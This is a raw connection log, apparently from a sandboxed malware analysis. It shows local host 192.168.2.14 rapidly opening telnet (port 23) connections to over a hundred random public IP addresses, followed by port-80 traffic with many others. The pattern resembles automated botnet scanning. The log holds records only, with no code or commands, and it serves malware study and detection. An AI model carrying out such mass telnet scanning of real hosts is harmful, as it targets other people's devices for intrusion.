Oct 14, 2024 17:30:13.947702885 CEST	12058	23	192.168.2.14	147.110.90.38
Oct 14, 2024 17:30:13.947702885 CEST	12058	23	192.168.2.14	80.118.197.253
Oct 14, 2024 17:30:13.947704077 CEST	12058	23	192.168.2.14	202.213.164.135
Oct 14, 2024 17:30:13.947704077 CEST	12058	23	192.168.2.14	104.186.232.143
Oct 14, 2024 17:30:13.947704077 CEST	12058	23	192.168.2.14	155.61.199.0
Oct 14, 2024 17:30:13.947756052 CEST	12058	23	192.168.2.14	58.111.3.214
Oct 14, 2024 17:30:13.947756052 CEST	12058	23	192.168.2.14	77.172.47.232
Oct 14, 2024 17:30:13.947756052 CEST	12058	23	192.168.2.14	97.17.3.243
Oct 14, 2024 17:30:13.947761059 CEST	12058	23	192.168.2.14	222.247.217.239
Oct 14, 2024 17:30:13.947762966 CEST	12058	23	192.168.2.14	106.17.101.86
Oct 14, 2024 17:30:13.947768927 CEST	12058	23	192.168.2.14	145.97.172.61
Oct 14, 2024 17:30:13.947768927 CEST	12058	23	192.168.2.14	94.214.114.68
Oct 14, 2024 17:30:13.947770119 CEST	12058	23	192.168.2.14	42.153.134.148
Oct 14, 2024 17:30:13.947770119 CEST	12058	23	192.168.2.14	1.224.249.238
Oct 14, 2024 17:30:13.947781086 CEST	12058	23	192.168.2.14	53.42.35.81
Oct 14, 2024 17:30:13.947781086 CEST	12058	23	192.168.2.14	222.61.92.173
Oct 14, 2024 17:30:13.947781086 CEST	12058	23	192.168.2.14	119.185.93.176
Oct 14, 2024 17:30:13.947781086 CEST	12058	23	192.168.2.14	8.144.220.23
Oct 14, 2024 17:30:13.947782993 CEST	12058	23	192.168.2.14	101.162.226.201
Oct 14, 2024 17:30:13.947786093 CEST	12058	23	192.168.2.14	79.83.234.92
Oct 14, 2024 17:30:13.947786093 CEST	12058	23	192.168.2.14	14.220.138.39
Oct 14, 2024 17:30:13.947788000 CEST	12058	23	192.168.2.14	174.198.237.191
Oct 14, 2024 17:30:13.947788000 CEST	12058	23	192.168.2.14	109.188.240.253
Oct 14, 2024 17:30:13.947789907 CEST	12058	23	192.168.2.14	108.208.141.146
Oct 14, 2024 17:30:13.947789907 CEST	12058	23	192.168.2.14	213.132.44.51
Oct 14, 2024 17:30:13.947789907 CEST	12058	23	192.168.2.14	38.23.155.192
Oct 14, 2024 17:30:13.947793961 CEST	12058	23	192.168.2.14	27.243.0.39
Oct 14, 2024 17:30:13.947794914 CEST	12058	23	192.168.2.14	166.239.193.198
Oct 14, 2024 17:30:13.947794914 CEST	12058	23	192.168.2.14	121.190.10.39
Oct 14, 2024 17:30:13.947799921 CEST	12058	23	192.168.2.14	170.163.207.166
Oct 14, 2024 17:30:13.947794914 CEST	12058	23	192.168.2.14	210.205.238.45
Oct 14, 2024 17:30:13.947803020 CEST	12058	23	192.168.2.14	184.224.246.28
Oct 14, 2024 17:30:13.947803974 CEST	12058	23	192.168.2.14	69.174.44.81
Oct 14, 2024 17:30:13.947794914 CEST	12058	23	192.168.2.14	103.115.208.41
Oct 14, 2024 17:30:13.947796106 CEST	12058	23	192.168.2.14	137.191.112.60
Oct 14, 2024 17:30:13.947810888 CEST	12058	23	192.168.2.14	132.82.245.112
Oct 14, 2024 17:30:13.947813034 CEST	12058	23	192.168.2.14	93.65.254.219
Oct 14, 2024 17:30:13.947813988 CEST	12058	23	192.168.2.14	122.16.57.223
Oct 14, 2024 17:30:13.947813034 CEST	12058	23	192.168.2.14	45.148.217.179
Oct 14, 2024 17:30:13.947813988 CEST	12058	23	192.168.2.14	105.94.148.59
Oct 14, 2024 17:30:13.947813988 CEST	12058	23	192.168.2.14	5.157.1.121
Oct 14, 2024 17:30:13.947822094 CEST	12058	23	192.168.2.14	153.222.160.175
Oct 14, 2024 17:30:13.947824955 CEST	12058	23	192.168.2.14	168.101.168.88
Oct 14, 2024 17:30:13.947829962 CEST	12058	23	192.168.2.14	134.101.209.14
Oct 14, 2024 17:30:13.947832108 CEST	12058	23	192.168.2.14	25.236.244.12
Oct 14, 2024 17:30:13.947829962 CEST	12058	23	192.168.2.14	43.98.69.235
Oct 14, 2024 17:30:13.947829962 CEST	12058	23	192.168.2.14	193.205.22.123
Oct 14, 2024 17:30:13.947829962 CEST	12058	23	192.168.2.14	207.142.8.207
Oct 14, 2024 17:30:13.947829962 CEST	12058	23	192.168.2.14	124.146.233.197
Oct 14, 2024 17:30:13.947829962 CEST	12058	23	192.168.2.14	104.121.220.79
Oct 14, 2024 17:30:13.947844028 CEST	12058	23	192.168.2.14	119.82.41.43
Oct 14, 2024 17:30:13.947856903 CEST	12058	23	192.168.2.14	131.217.138.73
Oct 14, 2024 17:30:13.947856903 CEST	12058	23	192.168.2.14	220.41.44.179
Oct 14, 2024 17:30:13.947856903 CEST	12058	23	192.168.2.14	133.44.109.152
Oct 14, 2024 17:30:13.947860956 CEST	12058	23	192.168.2.14	112.141.217.198
Oct 14, 2024 17:30:13.947860956 CEST	12058	23	192.168.2.14	85.65.102.147
Oct 14, 2024 17:30:13.947875977 CEST	12058	23	192.168.2.14	8.37.147.196
Oct 14, 2024 17:30:13.947882891 CEST	12058	23	192.168.2.14	192.169.22.58
Oct 14, 2024 17:30:13.947884083 CEST	12058	23	192.168.2.14	9.110.134.11
Oct 14, 2024 17:30:13.947884083 CEST	12058	23	192.168.2.14	164.197.145.247
Oct 14, 2024 17:30:13.947916031 CEST	12058	23	192.168.2.14	51.189.193.34
Oct 14, 2024 17:30:13.947916985 CEST	12058	23	192.168.2.14	164.126.101.57
Oct 14, 2024 17:30:13.947920084 CEST	12058	23	192.168.2.14	63.145.76.163
Oct 14, 2024 17:30:13.947920084 CEST	12058	23	192.168.2.14	220.64.83.75
Oct 14, 2024 17:30:13.947926998 CEST	12058	23	192.168.2.14	82.153.168.54
Oct 14, 2024 17:30:13.947923899 CEST	12058	23	192.168.2.14	25.194.131.171
Oct 14, 2024 17:30:13.947923899 CEST	12058	23	192.168.2.14	132.94.0.153
Oct 14, 2024 17:30:13.947931051 CEST	12058	23	192.168.2.14	88.33.129.38
Oct 14, 2024 17:30:13.947923899 CEST	12058	23	192.168.2.14	53.35.157.92
Oct 14, 2024 17:30:13.947937012 CEST	12058	23	192.168.2.14	175.246.217.46
Oct 14, 2024 17:30:13.947937012 CEST	12058	23	192.168.2.14	81.210.121.107
Oct 14, 2024 17:30:13.947947979 CEST	12058	23	192.168.2.14	134.57.222.78
Oct 14, 2024 17:30:13.947962999 CEST	12058	23	192.168.2.14	149.230.231.74
Oct 14, 2024 17:30:13.947968006 CEST	12058	23	192.168.2.14	166.33.125.222
Oct 14, 2024 17:30:13.947968006 CEST	12058	23	192.168.2.14	200.207.50.65
Oct 14, 2024 17:30:13.947978973 CEST	12058	23	192.168.2.14	159.157.3.0
Oct 14, 2024 17:30:13.947978973 CEST	12058	23	192.168.2.14	78.183.72.215
Oct 14, 2024 17:30:13.947978973 CEST	12058	23	192.168.2.14	144.167.143.222
Oct 14, 2024 17:30:13.947982073 CEST	12058	23	192.168.2.14	183.49.96.94
Oct 14, 2024 17:30:13.947982073 CEST	12058	23	192.168.2.14	59.198.163.0
Oct 14, 2024 17:30:13.947983980 CEST	12058	23	192.168.2.14	134.52.217.77
Oct 14, 2024 17:30:13.947985888 CEST	12058	23	192.168.2.14	203.145.138.154
Oct 14, 2024 17:30:13.947985888 CEST	12058	23	192.168.2.14	179.141.182.152
Oct 14, 2024 17:30:13.947994947 CEST	12058	23	192.168.2.14	78.214.236.120
Oct 14, 2024 17:30:13.947997093 CEST	12058	23	192.168.2.14	53.21.109.120
Oct 14, 2024 17:30:13.947997093 CEST	12058	23	192.168.2.14	73.34.221.104
Oct 14, 2024 17:30:13.947995901 CEST	12058	23	192.168.2.14	223.121.64.85
Oct 14, 2024 17:30:13.947999001 CEST	12058	23	192.168.2.14	133.15.121.76
Oct 14, 2024 17:30:13.948000908 CEST	12058	23	192.168.2.14	129.114.179.180
Oct 14, 2024 17:30:13.948000908 CEST	12058	23	192.168.2.14	34.6.231.30
Oct 14, 2024 17:30:13.948004961 CEST	12058	23	192.168.2.14	141.58.191.221
Oct 14, 2024 17:30:13.948007107 CEST	12058	23	192.168.2.14	209.132.90.80
Oct 14, 2024 17:30:13.948012114 CEST	12058	23	192.168.2.14	58.227.149.164
Oct 14, 2024 17:30:13.948036909 CEST	12058	23	192.168.2.14	211.177.165.65
Oct 14, 2024 17:30:13.948036909 CEST	12058	23	192.168.2.14	161.153.128.59
Oct 14, 2024 17:30:13.948087931 CEST	52288	23	192.168.2.14	89.218.183.12
Oct 14, 2024 17:30:13.948110104 CEST	36850	23	192.168.2.14	131.99.188.92
Oct 14, 2024 17:30:13.948139906 CEST	46084	23	192.168.2.14	4.108.171.222
Oct 14, 2024 17:30:13.948139906 CEST	35800	23	192.168.2.14	88.39.93.247
Oct 14, 2024 17:30:13.948170900 CEST	32918	23	192.168.2.14	192.17.132.242
Oct 14, 2024 17:30:13.948170900 CEST	43428	23	192.168.2.14	203.54.30.179
Oct 14, 2024 17:30:13.948199034 CEST	40524	23	192.168.2.14	201.119.197.206
Oct 14, 2024 17:30:13.948199034 CEST	55078	23	192.168.2.14	118.24.114.173
Oct 14, 2024 17:30:13.948206902 CEST	12058	23	192.168.2.14	49.117.54.234
Oct 14, 2024 17:30:13.948206902 CEST	48632	23	192.168.2.14	120.12.113.172
Oct 14, 2024 17:30:13.948216915 CEST	38512	23	192.168.2.14	120.215.248.164
Oct 14, 2024 17:30:13.948234081 CEST	53664	23	192.168.2.14	19.195.246.127
Oct 14, 2024 17:30:13.948240995 CEST	48088	23	192.168.2.14	75.182.21.175
Oct 14, 2024 17:30:13.948261023 CEST	56522	23	192.168.2.14	163.69.236.209
Oct 14, 2024 17:30:13.948261976 CEST	47490	23	192.168.2.14	61.181.58.114
Oct 14, 2024 17:30:13.948302984 CEST	43754	23	192.168.2.14	148.157.29.34
Oct 14, 2024 17:30:13.948342085 CEST	53488	23	192.168.2.14	144.87.68.60
Oct 14, 2024 17:30:13.948373079 CEST	35106	23	192.168.2.14	138.223.238.38
Oct 14, 2024 17:30:13.948410988 CEST	59914	23	192.168.2.14	200.67.241.8
Oct 14, 2024 17:30:13.948436022 CEST	44762	23	192.168.2.14	65.144.118.22
Oct 14, 2024 17:30:13.948436975 CEST	35884	23	192.168.2.14	144.13.225.134
Oct 14, 2024 17:30:13.948436975 CEST	54666	23	192.168.2.14	92.169.37.128
Oct 14, 2024 17:30:13.948436975 CEST	37834	23	192.168.2.14	195.85.3.0
Oct 14, 2024 17:30:13.948445082 CEST	36376	23	192.168.2.14	116.86.132.175
Oct 14, 2024 17:30:13.948462963 CEST	37496	23	192.168.2.14	104.135.57.160
Oct 14, 2024 17:30:13.948463917 CEST	53970	23	192.168.2.14	162.86.243.159
Oct 14, 2024 17:30:13.948463917 CEST	54576	23	192.168.2.14	154.127.1.238
Oct 14, 2024 17:30:13.948463917 CEST	52346	23	192.168.2.14	95.136.243.25
Oct 14, 2024 17:30:13.948497057 CEST	48156	23	192.168.2.14	140.67.0.181
Oct 14, 2024 17:30:13.948513985 CEST	34482	23	192.168.2.14	106.234.11.119
Oct 14, 2024 17:30:13.948514938 CEST	59212	23	192.168.2.14	133.90.83.51
Oct 14, 2024 17:30:13.948530912 CEST	44382	23	192.168.2.14	174.47.108.237
Oct 14, 2024 17:30:13.948530912 CEST	36502	23	192.168.2.14	43.94.20.3
Oct 14, 2024 17:30:13.948532104 CEST	39438	23	192.168.2.14	92.20.61.247
Oct 14, 2024 17:30:13.948532104 CEST	36308	23	192.168.2.14	92.218.213.247
Oct 14, 2024 17:30:13.948559999 CEST	51852	23	192.168.2.14	67.28.72.169
Oct 14, 2024 17:30:13.948559046 CEST	36692	23	192.168.2.14	51.145.55.88
Oct 14, 2024 17:30:13.948571920 CEST	56004	23	192.168.2.14	200.169.94.47
Oct 14, 2024 17:30:13.948591948 CEST	45344	23	192.168.2.14	130.205.78.119
Oct 14, 2024 17:30:13.948601961 CEST	54318	23	192.168.2.14	83.8.152.143
Oct 14, 2024 17:30:13.948642015 CEST	49304	23	192.168.2.14	45.147.152.16
Oct 14, 2024 17:30:13.948662996 CEST	43186	23	192.168.2.14	61.157.113.145
Oct 14, 2024 17:30:13.948674917 CEST	50708	23	192.168.2.14	223.134.192.62
Oct 14, 2024 17:30:13.948674917 CEST	46670	23	192.168.2.14	119.202.226.184
Oct 14, 2024 17:30:13.948685884 CEST	58484	23	192.168.2.14	77.176.53.5
Oct 14, 2024 17:30:13.948700905 CEST	45714	23	192.168.2.14	166.235.22.33
Oct 14, 2024 17:30:13.948700905 CEST	39000	23	192.168.2.14	36.85.238.136
Oct 14, 2024 17:30:13.948736906 CEST	46874	23	192.168.2.14	63.175.43.186
Oct 14, 2024 17:30:13.948757887 CEST	50336	23	192.168.2.14	221.140.235.127
Oct 14, 2024 17:30:13.948757887 CEST	46908	23	192.168.2.14	126.8.232.12
Oct 14, 2024 17:30:13.948771954 CEST	40624	23	192.168.2.14	52.181.142.158
Oct 14, 2024 17:30:13.948771954 CEST	46982	23	192.168.2.14	54.42.75.80
Oct 14, 2024 17:30:13.948798895 CEST	60542	23	192.168.2.14	13.41.77.229
Oct 14, 2024 17:30:13.948803902 CEST	48478	23	192.168.2.14	202.154.202.95
Oct 14, 2024 17:30:13.948816061 CEST	35274	23	192.168.2.14	78.95.113.31
Oct 14, 2024 17:30:13.948833942 CEST	55686	23	192.168.2.14	42.0.104.102
Oct 14, 2024 17:30:13.948851109 CEST	58624	23	192.168.2.14	181.85.15.198
Oct 14, 2024 17:30:13.948868036 CEST	49594	23	192.168.2.14	194.16.122.160
Oct 14, 2024 17:30:13.948872089 CEST	54194	23	192.168.2.14	54.137.92.147
Oct 14, 2024 17:30:13.948884010 CEST	59446	23	192.168.2.14	207.51.144.201
Oct 14, 2024 17:30:13.948884964 CEST	42356	23	192.168.2.14	36.193.239.42
Oct 14, 2024 17:30:13.948896885 CEST	51748	23	192.168.2.14	64.233.91.229
Oct 14, 2024 17:30:13.948913097 CEST	51802	23	192.168.2.14	40.11.33.56
Oct 14, 2024 17:30:13.948932886 CEST	47592	23	192.168.2.14	59.43.113.243
Oct 14, 2024 17:30:13.949165106 CEST	57144	23	192.168.2.14	20.41.227.56
Oct 14, 2024 17:30:13.949192047 CEST	48072	23	192.168.2.14	120.221.255.168
Oct 14, 2024 17:30:13.949238062 CEST	57480	23	192.168.2.14	149.157.80.25
Oct 14, 2024 17:30:14.216751099 CEST	80	53274	1.107.181.68	192.168.2.14
Oct 14, 2024 17:30:14.216774940 CEST	80	53274	182.194.39.100	192.168.2.14
Oct 14, 2024 17:30:14.216789007 CEST	80	53274	174.153.138.10	192.168.2.14
Oct 14, 2024 17:30:14.216794968 CEST	80	53274	186.157.36.231	192.168.2.14
Oct 14, 2024 17:30:14.216809988 CEST	80	53274	203.32.106.58	192.168.2.14
Oct 14, 2024 17:30:14.216815948 CEST	80	53274	71.246.92.175	192.168.2.14
Oct 14, 2024 17:30:14.216829062 CEST	80	53274	83.126.25.142	192.168.2.14
Oct 14, 2024 17:30:14.216846943 CEST	80	53274	104.235.160.71	192.168.2.14
Oct 14, 2024 17:30:14.216846943 CEST	53274	80	192.168.2.14	182.194.39.100
Oct 14, 2024 17:30:14.216850042 CEST	53274	80	192.168.2.14	174.153.138.10
Oct 14, 2024 17:30:14.216859102 CEST	80	53274	216.107.57.217	192.168.2.14
Oct 14, 2024 17:30:14.216878891 CEST	80	53274	118.178.157.170	192.168.2.14
Oct 14, 2024 17:30:14.216886044 CEST	80	53274	175.12.178.224	192.168.2.14
Oct 14, 2024 17:30:14.216886997 CEST	53274	80	192.168.2.14	83.126.25.142
Oct 14, 2024 17:30:14.216890097 CEST	53274	80	192.168.2.14	104.235.160.71
Oct 14, 2024 17:30:14.216892958 CEST	80	53274	144.62.181.122	192.168.2.14
Oct 14, 2024 17:30:14.216898918 CEST	80	53274	219.181.44.200	192.168.2.14
Oct 14, 2024 17:30:14.216901064 CEST	53274	80	192.168.2.14	216.107.57.217
Oct 14, 2024 17:30:14.216903925 CEST	80	53274	61.250.211.158	192.168.2.14
Oct 14, 2024 17:30:14.216901064 CEST	53274	80	192.168.2.14	1.107.181.68
Oct 14, 2024 17:30:14.216926098 CEST	53274	80	192.168.2.14	203.32.106.58
Oct 14, 2024 17:30:14.216928959 CEST	80	53274	154.165.217.85	192.168.2.14
Oct 14, 2024 17:30:14.216932058 CEST	53274	80	192.168.2.14	71.246.92.175
Oct 14, 2024 17:30:14.216932058 CEST	53274	80	192.168.2.14	144.62.181.122
Oct 14, 2024 17:30:14.216933012 CEST	53274	80	192.168.2.14	186.157.36.231
Oct 14, 2024 17:30:14.216936111 CEST	80	53274	4.0.233.209	192.168.2.14
Oct 14, 2024 17:30:14.216943026 CEST	80	53274	205.130.18.95	192.168.2.14
Oct 14, 2024 17:30:14.216948032 CEST	53274	80	192.168.2.14	61.250.211.158
Oct 14, 2024 17:30:14.216947079 CEST	53274	80	192.168.2.14	175.12.178.224
Oct 14, 2024 17:30:14.216952085 CEST	53274	80	192.168.2.14	219.181.44.200
Oct 14, 2024 17:30:14.216952085 CEST	80	53274	156.133.30.124	192.168.2.14
Oct 14, 2024 17:30:14.216953039 CEST	53274	80	192.168.2.14	118.178.157.170
Oct 14, 2024 17:30:14.216960907 CEST	80	53274	48.107.18.55	192.168.2.14
Oct 14, 2024 17:30:14.216967106 CEST	80	53274	175.190.133.49	192.168.2.14
Oct 14, 2024 17:30:14.216967106 CEST	53274	80	192.168.2.14	154.165.217.85
Oct 14, 2024 17:30:14.216973066 CEST	53274	80	192.168.2.14	4.0.233.209
Oct 14, 2024 17:30:14.216976881 CEST	80	53274	121.76.186.162	192.168.2.14
Oct 14, 2024 17:30:14.216978073 CEST	53274	80	192.168.2.14	205.130.18.95
Oct 14, 2024 17:30:14.216985941 CEST	80	53274	117.94.244.47	192.168.2.14
Oct 14, 2024 17:30:14.216989040 CEST	80	53274	39.31.103.26	192.168.2.14
Oct 14, 2024 17:30:14.216995001 CEST	80	53274	138.114.192.23	192.168.2.14
Oct 14, 2024 17:30:14.216996908 CEST	80	53274	163.150.106.221	192.168.2.14
Oct 14, 2024 17:30:14.217011929 CEST	80	53274	54.235.166.102	192.168.2.14
Oct 14, 2024 17:30:14.217016935 CEST	80	53274	104.19.36.251	192.168.2.14
Oct 14, 2024 17:30:14.217046976 CEST	53274	80	192.168.2.14	121.76.186.162
Oct 14, 2024 17:30:14.217046976 CEST	53274	80	192.168.2.14	156.133.30.124
Oct 14, 2024 17:30:14.217047930 CEST	53274	80	192.168.2.14	175.190.133.49
Oct 14, 2024 17:30:14.217063904 CEST	53274	80	192.168.2.14	39.31.103.26
Oct 14, 2024 17:30:14.217063904 CEST	53274	80	192.168.2.14	117.94.244.47
Oct 14, 2024 17:30:14.217061996 CEST	53274	80	192.168.2.14	48.107.18.55
Oct 14, 2024 17:30:14.217073917 CEST	53274	80	192.168.2.14	163.150.106.221
Oct 14, 2024 17:30:14.217084885 CEST	53274	80	192.168.2.14	138.114.192.23
Oct 14, 2024 17:30:14.217087030 CEST	53274	80	192.168.2.14	104.19.36.251
Oct 14, 2024 17:30:14.217087030 CEST	53274	80	192.168.2.14	54.235.166.102
Oct 14, 2024 17:30:14.218214035 CEST	80	53274	44.19.152.102	192.168.2.14
Oct 14, 2024 17:30:14.218288898 CEST	53274	80	192.168.2.14	44.19.152.102
Oct 14, 2024 17:30:14.218333006 CEST	80	53274	61.198.99.143	192.168.2.14
Oct 14, 2024 17:30:14.218355894 CEST	80	53274	94.97.180.94	192.168.2.14
Oct 14, 2024 17:30:14.218362093 CEST	80	53274	124.1.236.32	192.168.2.14
Oct 14, 2024 17:30:14.218375921 CEST	80	53274	174.240.62.175	192.168.2.14
Oct 14, 2024 17:30:14.218378067 CEST	53274	80	192.168.2.14	61.198.99.143
Oct 14, 2024 17:30:14.218381882 CEST	80	53274	223.179.73.1	192.168.2.14
Oct 14, 2024 17:30:14.218394995 CEST	80	53274	122.239.245.55	192.168.2.14
Oct 14, 2024 17:30:14.218417883 CEST	53274	80	192.168.2.14	223.179.73.1
Oct 14, 2024 17:30:14.218417883 CEST	53274	80	192.168.2.14	124.1.236.32
Oct 14, 2024 17:30:14.218417883 CEST	53274	80	192.168.2.14	94.97.180.94
Oct 14, 2024 17:30:14.218426943 CEST	53274	80	192.168.2.14	174.240.62.175
Oct 14, 2024 17:30:14.218427896 CEST	53274	80	192.168.2.14	122.239.245.55
Oct 14, 2024 17:30:14.218461037 CEST	80	53274	73.165.141.180	192.168.2.14
Oct 14, 2024 17:30:14.218473911 CEST	80	53274	179.163.213.73	192.168.2.14
Oct 14, 2024 17:30:14.218480110 CEST	80	53274	1.79.94.240	192.168.2.14
Oct 14, 2024 17:30:14.218492031 CEST	80	53274	142.191.95.160	192.168.2.14
Oct 14, 2024 17:30:14.218497992 CEST	80	53274	80.229.147.179	192.168.2.14
Oct 14, 2024 17:30:14.218502998 CEST	53274	80	192.168.2.14	73.165.141.180
Oct 14, 2024 17:30:14.218502998 CEST	80	53274	49.189.186.108	192.168.2.14
Oct 14, 2024 17:30:14.218508959 CEST	80	53274	116.222.101.223	192.168.2.14
Oct 14, 2024 17:30:14.218514919 CEST	80	53274	216.70.228.62	192.168.2.14
Oct 14, 2024 17:30:14.218519926 CEST	80	53274	35.0.34.167	192.168.2.14
Oct 14, 2024 17:30:14.218523979 CEST	53274	80	192.168.2.14	179.163.213.73
Oct 14, 2024 17:30:14.218524933 CEST	80	53274	14.2.150.231	192.168.2.14
Oct 14, 2024 17:30:14.218529940 CEST	80	53274	37.82.192.242	192.168.2.14
Oct 14, 2024 17:30:14.218532085 CEST	53274	80	192.168.2.14	1.79.94.240
Oct 14, 2024 17:30:14.218535900 CEST	80	53274	73.80.20.12	192.168.2.14
Oct 14, 2024 17:30:14.218542099 CEST	80	53274	153.5.116.32	192.168.2.14
Oct 14, 2024 17:30:14.218542099 CEST	53274	80	192.168.2.14	142.191.95.160
Oct 14, 2024 17:30:14.218542099 CEST	53274	80	192.168.2.14	80.229.147.179
Oct 14, 2024 17:30:14.218547106 CEST	80	53274	164.64.252.29	192.168.2.14
Oct 14, 2024 17:30:14.218554020 CEST	80	53274	217.125.46.228	192.168.2.14
Oct 14, 2024 17:30:14.218554020 CEST	53274	80	192.168.2.14	216.70.228.62
Oct 14, 2024 17:30:14.218554974 CEST	53274	80	192.168.2.14	35.0.34.167
Oct 14, 2024 17:30:14.218555927 CEST	53274	80	192.168.2.14	49.189.186.108
Oct 14, 2024 17:30:14.218559980 CEST	80	53274	207.62.59.204	192.168.2.14
Oct 14, 2024 17:30:14.218564987 CEST	80	53274	117.254.213.10	192.168.2.14
Oct 14, 2024 17:30:14.218574047 CEST	80	53274	79.124.171.248	192.168.2.14
Oct 14, 2024 17:30:14.218575954 CEST	80	53274	65.113.121.247	192.168.2.14
Oct 14, 2024 17:30:14.218580961 CEST	53274	80	192.168.2.14	37.82.192.242
Oct 14, 2024 17:30:14.218580961 CEST	80	53274	88.221.98.243	192.168.2.14
Oct 14, 2024 17:30:14.218580961 CEST	53274	80	192.168.2.14	153.5.116.32
Oct 14, 2024 17:30:14.218581915 CEST	53274	80	192.168.2.14	116.222.101.223
Oct 14, 2024 17:30:14.218581915 CEST	53274	80	192.168.2.14	14.2.150.231
Oct 14, 2024 17:30:14.218585014 CEST	53274	80	192.168.2.14	164.64.252.29
Oct 14, 2024 17:30:14.218586922 CEST	80	53274	102.238.123.100	192.168.2.14
Oct 14, 2024 17:30:14.218591928 CEST	53274	80	192.168.2.14	217.125.46.228
Oct 14, 2024 17:30:14.218591928 CEST	53274	80	192.168.2.14	207.62.59.204
Oct 14, 2024 17:30:14.218594074 CEST	53274	80	192.168.2.14	73.80.20.12
Oct 14, 2024 17:30:14.218601942 CEST	53274	80	192.168.2.14	117.254.213.10
Oct 14, 2024 17:30:14.218607903 CEST	53274	80	192.168.2.14	79.124.171.248
Oct 14, 2024 17:30:14.218628883 CEST	53274	80	192.168.2.14	65.113.121.247
Oct 14, 2024 17:30:14.218638897 CEST	53274	80	192.168.2.14	88.221.98.243
Oct 14, 2024 17:30:14.218638897 CEST	53274	80	192.168.2.14	102.238.123.100
Oct 14, 2024 17:30:14.219214916 CEST	80	53274	210.124.45.65	192.168.2.14
Oct 14, 2024 17:30:14.219266891 CEST	53274	80	192.168.2.14	210.124.45.65
Oct 14, 2024 17:30:14.219321012 CEST	80	53274	37.40.138.155	192.168.2.14
Oct 14, 2024 17:30:14.219326973 CEST	80	53274	97.195.94.218	192.168.2.14
Oct 14, 2024 17:30:14.219340086 CEST	80	53274	90.118.227.111	192.168.2.14
Oct 14, 2024 17:30:14.219346046 CEST	80	53274	118.33.225.41	192.168.2.14
Oct 14, 2024 17:30:14.219368935 CEST	80	53274	73.159.62.235	192.168.2.14
Oct 14, 2024 17:30:14.219376087 CEST	80	53274	122.26.174.218	192.168.2.14
Oct 14, 2024 17:30:14.219376087 CEST	53274	80	192.168.2.14	37.40.138.155
Oct 14, 2024 17:30:14.219376087 CEST	53274	80	192.168.2.14	97.195.94.218
Oct 14, 2024 17:30:14.219381094 CEST	80	53274	40.101.186.1	192.168.2.14
Oct 14, 2024 17:30:14.219391108 CEST	53274	80	192.168.2.14	90.118.227.111
Oct 14, 2024 17:30:14.219396114 CEST	80	53274	25.173.226.6	192.168.2.14
Oct 14, 2024 17:30:14.219403028 CEST	80	53274	174.207.166.46	192.168.2.14
Oct 14, 2024 17:30:14.219409943 CEST	80	53274	102.126.214.221	192.168.2.14
Oct 14, 2024 17:30:14.219414949 CEST	80	53274	217.92.36.152	192.168.2.14
Oct 14, 2024 17:30:14.219415903 CEST	53274	80	192.168.2.14	73.159.62.235
Oct 14, 2024 17:30:14.219418049 CEST	53274	80	192.168.2.14	122.26.174.218
Oct 14, 2024 17:30:14.219420910 CEST	80	53274	201.255.208.219	192.168.2.14
Oct 14, 2024 17:30:14.219427109 CEST	80	53274	49.93.77.222	192.168.2.14
Oct 14, 2024 17:30:14.219432116 CEST	80	53274	202.51.25.219	192.168.2.14
Oct 14, 2024 17:30:14.219435930 CEST	53274	80	192.168.2.14	118.33.225.41
Oct 14, 2024 17:30:14.219438076 CEST	80	53274	206.214.146.27	192.168.2.14
Oct 14, 2024 17:30:14.219439983 CEST	53274	80	192.168.2.14	40.101.186.1
Oct 14, 2024 17:30:14.219439983 CEST	53274	80	192.168.2.14	25.173.226.6
Oct 14, 2024 17:30:14.219444036 CEST	80	53274	40.245.73.73	192.168.2.14
Oct 14, 2024 17:30:14.219449043 CEST	80	53274	171.198.83.166	192.168.2.14
Oct 14, 2024 17:30:14.219449043 CEST	53274	80	192.168.2.14	174.207.166.46
Oct 14, 2024 17:30:14.219454050 CEST	80	53274	121.216.237.29	192.168.2.14
Oct 14, 2024 17:30:14.219453096 CEST	53274	80	192.168.2.14	217.92.36.152
Oct 14, 2024 17:30:14.219460964 CEST	80	53274	14.143.83.117	192.168.2.14
Oct 14, 2024 17:30:14.219460964 CEST	53274	80	192.168.2.14	201.255.208.219
Oct 14, 2024 17:30:14.219465971 CEST	80	53274	156.11.13.95	192.168.2.14
Oct 14, 2024 17:30:14.219468117 CEST	53274	80	192.168.2.14	102.126.214.221
Oct 14, 2024 17:30:14.219475031 CEST	53274	80	192.168.2.14	206.214.146.27
Oct 14, 2024 17:30:14.219475031 CEST	53274	80	192.168.2.14	49.93.77.222
Oct 14, 2024 17:30:14.219480038 CEST	53274	80	192.168.2.14	202.51.25.219
Oct 14, 2024 17:30:14.219480991 CEST	53274	80	192.168.2.14	40.245.73.73
Oct 14, 2024 17:30:14.219487906 CEST	53274	80	192.168.2.14	171.198.83.166
Oct 14, 2024 17:30:14.219487906 CEST	53274	80	192.168.2.14	121.216.237.29
Oct 14, 2024 17:30:14.219491005 CEST	80	53274	186.245.163.21	192.168.2.14
Oct 14, 2024 17:30:14.219497919 CEST	80	53274	91.251.240.160	192.168.2.14
Oct 14, 2024 17:30:14.219504118 CEST	80	53274	114.207.135.137	192.168.2.14
Oct 14, 2024 17:30:14.219508886 CEST	80	53274	175.94.194.150	192.168.2.14
Oct 14, 2024 17:30:14.219512939 CEST	53274	80	192.168.2.14	14.143.83.117
Oct 14, 2024 17:30:14.219513893 CEST	53274	80	192.168.2.14	156.11.13.95
Oct 14, 2024 17:30:14.219513893 CEST	80	53274	185.229.170.50	192.168.2.14
Oct 14, 2024 17:30:14.219521999 CEST	80	53274	204.129.194.32	192.168.2.14
Oct 14, 2024 17:30:14.219528913 CEST	80	53274	207.209.81.75	192.168.2.14
Oct 14, 2024 17:30:14.219531059 CEST	53274	80	192.168.2.14	91.251.240.160
Oct 14, 2024 17:30:14.219535112 CEST	53274	80	192.168.2.14	186.245.163.21
Oct 14, 2024 17:30:14.219544888 CEST	53274	80	192.168.2.14	114.207.135.137
Oct 14, 2024 17:30:14.219556093 CEST	53274	80	192.168.2.14	175.94.194.150
Oct 14, 2024 17:30:14.219562054 CEST	53274	80	192.168.2.14	207.209.81.75
Oct 14, 2024 17:30:14.219568014 CEST	53274	80	192.168.2.14	185.229.170.50
Oct 14, 2024 17:30:14.219575882 CEST	53274	80	192.168.2.14	204.129.194.32
Oct 14, 2024 17:30:14.219811916 CEST	80	53274	68.227.119.6	192.168.2.14
Oct 14, 2024 17:30:14.219882965 CEST	80	53274	72.46.219.184	192.168.2.14
Oct 14, 2024 17:30:14.219888926 CEST	80	53274	119.98.28.232	192.168.2.14
Oct 14, 2024 17:30:14.219902039 CEST	80	53274	94.187.12.2	192.168.2.14
Oct 14, 2024 17:30:14.219914913 CEST	53274	80	192.168.2.14	68.227.119.6
